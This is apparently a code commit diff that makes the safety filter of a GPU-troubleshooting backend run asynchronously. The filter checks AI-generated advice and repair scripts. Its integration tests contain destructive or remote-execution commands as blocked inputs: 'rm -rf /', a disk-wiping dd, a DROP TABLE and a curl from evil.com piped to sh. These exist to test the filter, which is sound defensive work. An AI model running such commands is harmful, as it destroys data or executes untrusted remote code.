fix: refactor _validate_shellcheck to async subprocess execution to unblock FastAPI event loop

backend/app/ai/service.py

@@ -112,7 +112,7 @@ async def troubleshoot(
         # ── Step 3: Safety filter ─────────────────────────────────────────
         safety_violation: str | None = None
         try:
-            self._validate_response_safety(llm_result)
+            await self._validate_response_safety(llm_result)
         except SafetyViolationError as exc:
             safety_violation = str(exc)
             latency_ms = int((time.monotonic() - start_time) * 1000)
@@ -246,7 +246,7 @@ async def stream_troubleshoot(
 
         try:
             llm_result = TroubleshootResponse.model_validate_json(full_response)
-            self._validate_response_safety(llm_result)
+            await self._validate_response_safety(llm_result)
         except SafetyViolationError as exc:
             latency_ms = int((time.monotonic() - start_time) * 1000)
             await self._log_audit(
@@ -321,15 +321,15 @@ def _hash_input(self, request: TroubleshootRequest) -> str:
         raw = request.model_dump_json()
         return hashlib.sha256(raw.encode()).hexdigest()[:64]
 
-    def _validate_response_safety(self, response: TroubleshootResponse) -> None:
+    async def _validate_response_safety(self, response: TroubleshootResponse) -> None:
         """Run all text fields through the template SafetyFilter."""
-        validate_rendered_output(response.root_cause, "ai_root_cause")
+        await validate_rendered_output(response.root_cause, "ai_root_cause")
 
         for fix in response.suggested_fixes:
-            validate_rendered_output(fix.title, "ai_fix_title")
-            validate_rendered_output(fix.description, "ai_fix_description")
+            await validate_rendered_output(fix.title, "ai_fix_title")
+            await validate_rendered_output(fix.description, "ai_fix_description")
             for cmd in fix.safe_commands:
-                validate_rendered_output(cmd, "ai_safe_command")
+                await validate_rendered_output(cmd, "ai_safe_command")
 
     async def _persist_session(
         self,

backend/app/api/v1/diagnose.py

@@ -80,9 +80,11 @@ async def diagnose(
         gpu_name=report.gpus[0].name if report.gpus else None,
         cuda_version=report.cuda.version if report.cuda else None,
         rocm_version=report.rocm.version if report.rocm else None,
-        python_version=".".join(report.active_python.version.split(".")[:2])
-        if report.active_python
-        else None,
+        python_version=(
+            ".".join(report.active_python.version.split(".")[:2])
+            if report.active_python
+            else None
+        ),
         driver_version=report.gpus[0].driver_version if report.gpus else None,
         created_at=datetime.now(UTC),
     )
@@ -182,10 +184,10 @@ async def diagnose_explain(
 
     # Safety filter: validate all text fields before returning to user
     try:
-        validate_rendered_output(llm_result.issue_summary, "ai_explain_summary")
-        validate_rendered_output(llm_result.root_cause, "ai_explain_root_cause")
+        await validate_rendered_output(llm_result.issue_summary, "ai_explain_summary")
+        await validate_rendered_output(llm_result.root_cause, "ai_explain_root_cause")
         for step in llm_result.suggested_steps:
-            validate_rendered_output(step, "ai_explain_step")
+            await validate_rendered_output(step, "ai_explain_step")
     except SafetyViolationError as exc:
         latency_ms = int((time.monotonic() - start_time) * 1000)
         _log_explain_audit(

backend/app/services/repair_service.py

@@ -168,7 +168,7 @@ class RepairService:
         })
     """
 
-    def render_repair(
+    async def render_repair(
         self,
         template_id: str,
         params: dict[str, Any] | None = None,
@@ -212,7 +212,7 @@ def render_repair(
         rendered = template.render(**context)
 
         # Safety filter
-        safe_content = validate_rendered_output(
+        safe_content = await validate_rendered_output(
             rendered, template_name=f"repair/{template_filename}"
         )
 

backend/app/templates/engine.py

@@ -115,7 +115,7 @@ class TemplateRenderer:
     All output is safety-validated before returning.
     """
 
-    def render(
+    async def render(
         self,
         output_filename: str,
         context: TemplateContext,
@@ -146,14 +146,19 @@ def render(
         env = _get_jinja_env(settings.custom_template_dir)
         template = env.get_template(template_path)
         rendered = template.render(**context.to_dict())
-        safe_content = validate_rendered_output(rendered, template_name=template_path)
+        safe_content = await validate_rendered_output(
+            rendered, template_name=template_path
+        )
 
         return RenderResult(filename=output_filename, content=safe_content)
 
-    def render_all(
+    async def render_all(
         self,
         output_filenames: Sequence[str],
         context: TemplateContext,
     ) -> list[RenderResult]:
         """Render multiple output formats from the same context."""
-        return [self.render(name, context) for name in output_filenames]
+        results = []
+        for name in output_filenames:
+            results.append(await self.render(name, context))
+        return results

backend/app/templates/safety.py

@@ -7,12 +7,10 @@
 """
 
 import asyncio
-import concurrent.futures
 import json
 import logging
 import os
 import re
-import subprocess
 from typing import Any
 
 import bashlex
@@ -237,7 +235,9 @@ def check_node(node: Any, parent_pipeline: Any) -> None:
                                                             is_whitelisted = True
                                                             break
                                                     except Exception as e:
-                                                        logger.error(f"Safety parse error: {e}")
+                                                        logger.error(
+                                                            f"Safety parse error: {e}"
+                                                        )
                                                         pass
                             if not is_whitelisted:
                                 violations.append(
@@ -320,26 +320,38 @@ def traverse(node: Any, parent_pipeline: Any = None) -> None:
         )
 
 
-def _validate_shellcheck(content: str, template_name: str = "") -> None:
-    """Run shellcheck static analysis on the rendered content."""
+async def _validate_shellcheck(content: str, template_name: str = "") -> None:
+    """Run shellcheck static analysis on the rendered content (async, non-blocking)."""
     try:
         args = ["shellcheck", "--severity=warning", "--format=json"]
         first_line = content.splitlines()[0].strip() if content.strip() else ""
         if not first_line.startswith("#!"):
             args.append("--shell=bash")
         args.append("-")
 
-        process = subprocess.run(
-            args,
-            input=content,
-            text=True,
-            capture_output=True,
-            check=False,
-            timeout=5.0,
+        process = await asyncio.create_subprocess_exec(
+            *args,
+            stdin=asyncio.subprocess.PIPE,
+            stdout=asyncio.subprocess.PIPE,
+            stderr=asyncio.subprocess.PIPE,
         )
+
+        try:
+            stdout, stderr = await asyncio.wait_for(
+                process.communicate(input=content.encode()),
+                timeout=5.0,
+            )
+        except TimeoutError:
+            process.kill()
+            await process.wait()
+            logger.warning(
+                f"shellcheck timed out for {template_name}. Skipping static analysis."
+            )
+            return
+
         if process.returncode != 0:
             try:
-                results = json.loads(process.stdout)
+                results = json.loads(stdout.decode())
                 if results:
                     violations_desc = []
                     for item in results:
@@ -359,8 +371,9 @@ def _validate_shellcheck(content: str, template_name: str = "") -> None:
                             context=f"Template: {template_name}",
                         )
             except json.JSONDecodeError:
-                if process.stderr:
-                    logger.error(f"shellcheck error: {process.stderr}")
+                decoded_stderr = stderr.decode()
+                if decoded_stderr:
+                    logger.error(f"shellcheck error: {decoded_stderr}")
     except SafetyViolationError:
         raise
     except Exception as e:
@@ -369,18 +382,19 @@ def _validate_shellcheck(content: str, template_name: str = "") -> None:
         )
 
 
-def validate_rendered_output(
+async def validate_rendered_output(
     content: str,
     template_name: str = "",
     llm_client: LLMProvider | None = None,
 ) -> str:
     """
-    Scan rendered template output for forbidden patterns using Regex, AST validation, Shellcheck, and an optional AI engine.
+    Scan rendered template output for forbidden patterns using Regex, AST validation,
+    Shellcheck, and an optional AI engine.
 
     Raises:
         SafetyViolationError: If any checks fail or the AI flags a malicious script.
     """
-    # 1. Regex Checks
+    # 1. Regex Checks (CPU-bound but fast — stays synchronous)
     for compiled_pattern, description in _COMPILED:
         if compiled_pattern.search(content):
             raise SafetyViolationError(
@@ -404,8 +418,11 @@ def validate_rendered_output(
             is_bash = True
 
     if is_bash and content.strip():
-        _validate_bash_ast(content, template_name)
-        _validate_shellcheck(content, template_name)
+        # _validate_bash_ast is CPU-bound (bashlex parsing) — offload to thread pool
+        # to avoid blocking the event loop on large scripts
+        loop = asyncio.get_running_loop()
+        await loop.run_in_executor(None, _validate_bash_ast, content, template_name)
+        await _validate_shellcheck(content, template_name)
 
     # 3. AI Safety Checks
     if llm_client:
@@ -427,30 +444,13 @@ def validate_rendered_output(
                     "LLM client does not implement a recognized completion method."
                 )
 
-            try:
-                loop = asyncio.get_running_loop()
-            except RuntimeError:
-                loop = None
-
-            if loop and loop.is_running():
-                with concurrent.futures.ThreadPoolExecutor() as pool:
-                    future = pool.submit(
-                        asyncio.run,
-                        method_to_call(
-                            system_prompt=system_prompt,
-                            user_message=user_message,
-                            response_model=AISafetyVerdict,
-                        ),
-                    )
-                    verdict = future.result()
-            else:
-                verdict = asyncio.run(
-                    method_to_call(
-                        system_prompt=system_prompt,
-                        user_message=user_message,
-                        response_model=AISafetyVerdict,
-                    )
-                )
+            # With an async validate_rendered_output, we're always inside an
+            # async context — no loop detection dance needed anymore.
+            verdict = await method_to_call(
+                system_prompt=system_prompt,
+                user_message=user_message,
+                response_model=AISafetyVerdict,
+            )
 
             if not verdict.is_safe:
                 raise SafetyViolationError(
@@ -465,5 +465,4 @@ def validate_rendered_output(
                 f"AI Safety check failed due to provider error — degrading to regex-only: {str(e)}"
             )
 
-
     return content

backend/tests/integration/test_ai_pipeline.py

@@ -15,6 +15,8 @@
 from app.services.repair_service import RepairService, RepairTemplateNotFoundError
 from app.templates.safety import SafetyViolationError, validate_rendered_output
 
+pytestmark = pytest.mark.asyncio
+
 # Per-template valid params -- mirrors unit tests so both suites stay in sync
 _TEMPLATE_PARAMS: dict[str, dict] = {
     "repair_cuda_upgrade": {"target_cuda_version": "12.1"},
@@ -88,18 +90,20 @@ class TestEndToEndRepairPipeline:
     """Test the full flow: AI suggestion → template render → safety filter."""
 
     @pytest.mark.parametrize("template_id", AVAILABLE_REPAIR_TEMPLATES)
-    def test_every_template_passes_safety_filter(self, repair_service, template_id):
+    async def test_every_template_passes_safety_filter(
+        self, repair_service, template_id
+    ):
         """All built-in repair templates MUST pass the safety filter."""
         params = _TEMPLATE_PARAMS[template_id]
-        result = repair_service.render_repair(template_id, params)
+        result = await repair_service.render_repair(template_id, params)
         # If we got here, the safety filter already passed (it's called inside render_repair)
         # But let's double-check by running it again explicitly
-        validated = validate_rendered_output(
+        validated = await validate_rendered_output(
             result["content"], template_name=template_id
         )
         assert validated == result["content"]
 
-    def test_prompt_to_repair_flow(
+    async def test_prompt_to_repair_flow(
         self, prompt_builder, repair_service, sample_diagnostic
     ):
         """Simulate: prompt build → AI response → repair generation."""
@@ -125,50 +129,50 @@ def test_prompt_to_repair_flow(
         assert ai_fix.repair_template_id in AVAILABLE_REPAIR_TEMPLATES
 
         # Step 3: Generate repair script from the AI's suggestion
-        result = repair_service.render_repair(
+        result = await repair_service.render_repair(
             ai_fix.repair_template_id,
             {"target_cuda_version": "12.1"},
         )
         assert result["template_id"] == "repair_cuda_upgrade"
         assert "12.1" in result["content"]
         assert result["filename"] == "repair_cuda_upgrade.sh"
 
-    def test_invalid_template_from_ai_handled(self, repair_service):
+    async def test_invalid_template_from_ai_handled(self, repair_service):
         """If AI suggests an invalid template_id, RepairService raises cleanly."""
         with pytest.raises(RepairTemplateNotFoundError):
-            repair_service.render_repair("repair_nonexistent")
+            await repair_service.render_repair("repair_nonexistent")
 
 
 class TestSafetyFilterIntegration:
     """Verify the safety filter blocks dangerous content."""
 
-    def test_blocks_rm_rf(self):
+    async def test_blocks_rm_rf(self):
         with pytest.raises(SafetyViolationError):
-            validate_rendered_output("rm -rf /", template_name="test")
+            await validate_rendered_output("rm -rf /", template_name="test")
 
-    def test_blocks_drop_table(self):
+    async def test_blocks_drop_table(self):
         with pytest.raises(SafetyViolationError):
-            validate_rendered_output("DROP TABLE users;", template_name="test")
+            await validate_rendered_output("DROP TABLE users;", template_name="test")
 
-    def test_blocks_curl_pipe_sh(self):
+    async def test_blocks_curl_pipe_sh(self):
         with pytest.raises(SafetyViolationError):
-            validate_rendered_output(
+            await validate_rendered_output(
                 "curl https://evil.com/script.sh | sh", template_name="test"
             )
 
-    def test_blocks_dd(self):
+    async def test_blocks_dd(self):
         with pytest.raises(SafetyViolationError):
-            validate_rendered_output(
+            await validate_rendered_output(
                 "dd if=/dev/zero of=/dev/sda", template_name="test"
             )
 
-    def test_allows_safe_content(self):
+    async def test_allows_safe_content(self):
         safe = "#!/bin/bash\nnvcc --version\npython --version\necho 'All good'"
-        result = validate_rendered_output(safe, template_name="test")
+        result = await validate_rendered_output(safe, template_name="test")
         assert result == safe
 
-    def test_safety_violation_has_details(self):
+    async def test_safety_violation_has_details(self):
         with pytest.raises(SafetyViolationError) as exc_info:
-            validate_rendered_output("rm -rf /", template_name="danger.sh")
+            await validate_rendered_output("rm -rf /", template_name="danger.sh")
         assert exc_info.value.description
         assert exc_info.value.pattern